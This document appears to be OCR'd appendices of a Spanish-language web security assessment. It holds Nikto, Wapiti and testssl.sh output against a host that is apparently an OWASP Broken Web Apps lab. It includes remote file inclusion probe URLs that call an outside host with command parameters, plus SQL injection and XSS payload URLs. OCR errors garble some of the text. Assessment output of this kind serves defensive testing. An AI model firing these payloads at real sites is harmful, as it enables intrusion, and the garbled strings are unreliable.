+ 0SVDB-5292: /index.php?page=http://cirt.net/rfiinc.txt?%00: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ /index.php?page=http://cirt.net/rfiinc.txt??: Output from the phpinfo() function was found.

+ 0SVDB-5292: /index.php?page=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?pagehttp://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?page[path]=http://cirt.net/rfiinc.txt??&cmd=1s: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?pageNikto=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?pagename=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?pager=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?pagina=http://cirt.net/rfiinc.txt??: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?path_to_folder=http://cirt.net/rfiinc.txt??cmd=id: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?pg=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?pg=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?phpbb_root_path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?plugin=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?principal=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?proMod=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?proMod=http://cirt.net/rfiinc.txt??cmd: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?project=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?repinc=http://cirt.net/rfiinc.txt??: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?root_prefix=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?root_prefix=http://cirt.net/rfiinc.txt??: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?section=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?site=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?site path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?styl[top]=http://cirt.net/rfiinc.txt??7?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?template=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?templates_dir=http://cirt.net/rfiinc.txt??: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?theme=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?themepath=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?themesdir=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?this_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?txt=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?up=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?url=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?w=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?way=http://cirt.net/rfiinc.txt???2?22?22?2?2?2?77: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ /phpmyadmin/: phpMyAdmin directory found

+ 0SVDB-3092: /.git/index: Git Index file may contain directory listing information.

+ /.git/HEAD: Git HEAD file found. Full repo details may be present.

+ 0SVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or
limited to authorized hosts.

+ 0SVDB-3268: /webservices/: Directory indexing found.

/webservices/: Webservices found

/.git/config: Git config file found. Infos about repo details may be present.

8489 requests: 0 error(s) and 188 item(s) reported on remote host

End Time: 2016-05-14 23:17:03 (GMT2) (64 seconds)

+ 1 host(s) tested
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Anexo 6: Pruebas con Wapiti.

# wapiti www.shopathome.com --color --output wapiti.html --format html
Wapiti-2.3.0 (wapiti.sourceforge.net)

Este escaneo se ha guardado en el archivo /root/.wapiti/scans/www.shopathome.com.xml
Puedes usarlo para realizar ataques sin escanear de nuevo el website mediante el
pardmetro "-k"
[*] Cargando modulos:

mod crlf, mod exec, mod file, mod sql, mod xss, mod backup, mod htaccess,
mod_blindsql, mod permanentxss, mod nikto

[+] Lanzando médulo exec
[+] Lanzando médulo file

[+] Lanzando médulo sql
Inyeccién MySQL en http://www.shopathome.com/includes/pop-up-help-context-generator.php
mediante inyeccién en el parametro pagename

URL maliciosa: http://www.shopathome.com/includes/pop-up-help-context-generator.php?
pagename=%BF%27%22%28
Inyeccién MySQL en http://www.shopathome.com/level-1-hints-page-wrapper.php mediante
inyeccién en el paréametro levellHintIncludeFile

URL maliciosa: http://www.shopathome.com/level-1-hints-page-wrapper.php?

levellHintIncludeFile=%BF%27%22%28

[+] Lanzando médulo xss
Vulnerabilidad XSS en http://www.shopathome.com/webservices/soap/ws-user-account.php
mediante inyeccién en la ruta al recurso
URL maliciosa: http://www.shopathome.com/webservices/soap/ws-user-account.php/
%3Cscript%3Ephpselfxss()%3C/script%s3E
Vulnerabilidad XSS en http://www.shopathome.com/webservices/soap/ws-lookup-dns-
record.php mediante inyeccién en la ruta al recurso
URL maliciosa: http://www.shopathome.com/webservices/soap/ws-lookup-dns-record.php/
%3Cscript%3Ephpselfxss()%3C/script%s3E
Vulnerabilidad XSS en http://www.shopathome.com/webservices/soap/ws-hello-world.php
mediante inyeccién en la ruta al recurso
URL maliciosa: http://www.shopathome.com/webservices/soap/ws-hello-world.php/
%3Cscript%3Ephpselfxss()%3C/script%s3E
Vulnerabilidad XSS en http://www.shopathome.com/includes/pop-up-help-context-
generator.php mediante inyeccién en el parametro pagename
URL maliciosa: http://www.shopathome.com/includes/pop-up-help-context-generator.php?
pagename=%3Cscript%3Ealert%28%27wmtu04i8z2%27%29%3C%2Fscript%3E
Vulnerabilidad XSS en http://www.shopathome.com/level-1-hints-page-wrapper.php mediante
inyeccién en el parémetro levellHintIncludeFile
URL maliciosa: http://www.shopathome.com/level-1-hints-page-wrapper.php?
levellHintIncludeFile=%3Cscript%3Ealert%28%27wtqaxy2qs1%27%29%3C%2Fscript%3E

[+] Lanzando médulo blindsql
[+] Lanzando médulo permanentxss
Informe

Se ha generado un informe en el fichero wapiti.html
Abrir wapiti.html/index.html con el navegador para ver el informe
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Anexo 7: Pruebas con testssl.sh

Testing protocols (via sockets except TLS 1.2, SPDY+HTTP2)

SSLv2 not offered (OK)
SSLv3 offered (NOT ok)
TLS 1 offered

TLS 1.1 not offered

TLS 1.2 not offered (NOT ok)

SPDY/NPN  not offered
HTTP2/ALPN not offered

Testing ~standard cipher lists

Null Ciphers

Anonymous NULL Ciphers
Anonymous DH Ciphers

40 Bit encryption

56 Bit encryption
Export Ciphers (general)
Low (<=64 Bit)

DES Ciphers

Medium grade encryption
Triple DES Ciphers

High grade encryption

Testing server preferences

Has server cipher order?
Negotiated protocol
Negotiated cipher
Negotiated cipher per proto
DHE-RSA-AES256-SHA:

not offered (OK)
not offered (OK)
not offered (OK)
not offered (OK)
not offered (OK)
not offered (OK)
not offered (OK)
not offered (OK)
offered (NOT ok)
offered (NOT ok)
offered (OK)

nope (NOT ok)
TLSv1
DHE-RSA-AES256-SHA, 1024 bit DH (limited sense as client will pick)
(limited sense as client will pick)
SSLv3, TLSvl

No further cipher order check has been done as order is determined by the client

Testing server defaults (Server Hello)

TLS extensions (standard)
Session Tickets RFC 5077
SSL Session ID support
TLS clock skew

Signature Algorithm
Server key size
Fingerprint / Serial

Common Name (CN)
subjectAltName (SAN)

Issuer

EV cert (experimental)
Certificate Expiration

# of certificates provided
Chain of trust (experim.)
Certificate Revocation List
O0CSP URI

0CSP stapling

Testing vulnerabilities

Heartbleed (CVE-2014-0160)
CCS (CVE-2014-0224)

"server name/#0" "renegotiation info/#65281" "session ticket/#35"
(none)

yes

random values, no fingerprinting possible

SHA1 with RSA

1024 bits

SHA1 E469E1F2987740C33AECEE7CF630CA1931BEOSAE / E6870DDD72C2B9E7
SHA256 B0945E8208949294EC14B1FCD2998BF148333EBB7D34135188E298B4FE2D46B2
"owaspbwa" (works w/o SNI)

"owaspbwa" ("")

no

2422 >= 60 days (2013-01-02 22:12 --> 2022-12-31 22:12 +0100)

1

NOT ok (self signed)

not vulnerable (O0K) (no heartbeat extension)
VULNERABLE (NOT ok)

Secure Renegotiation (CVE-2009-3555) not vulnerable (0K)
Secure Client-Initiated Renegotiation not vulnerable (0K)

CRIME, TLS (CVE-2012-4929)
BREACH (CVE-2013-3587)
tested

POODLE, SSL (CVE-2014-3566)
below)

VULNERABLE (NOT ok)

potentially NOT ok, uses gzip HTTP compression. - only supplied "/"

Can be ignored for static pages or if no secrets in the page

VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation

TLS FALLBACK SCSV (RFC 7507), experim. Downgrade attack prevention NOT supported

FREAK (CVE-2015-0204)

not vulnerable (OK)

DROWN (2016-0800, CVE-2016-0703), exper. not vulnerable on this port (OK)

services

make sure you don't use this certificate elsewhere with SSLv2 enabled

https://censys.io/ipv4?

q=B0945E8208949294EC14B1FCD2998BF148333EBB7D34135188E298B4FE2D46B2 could help you to find out

LOGJAM (CVE-2015-4000), experimental not vulnerable (O0K), common primes not checked. See below for any DH

ciphers + bit size
BEAST (CVE-2011-3389)

SSL3: DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA
AES128-SHA DHE-RSA-AES128-SHA AES256-SHA
DHE-RSA-AES256-SHA

TLS1: DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA
AES128-SHA DHE-RSA-AES128-SHA AES256-SHA
DHE-RSA-AES256-SHA

VULNERABLE (NOT ok) -- and no higher protocols as mitigation supported

RC4 (CVE-2013-2566, CVE-2015-2808) VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5
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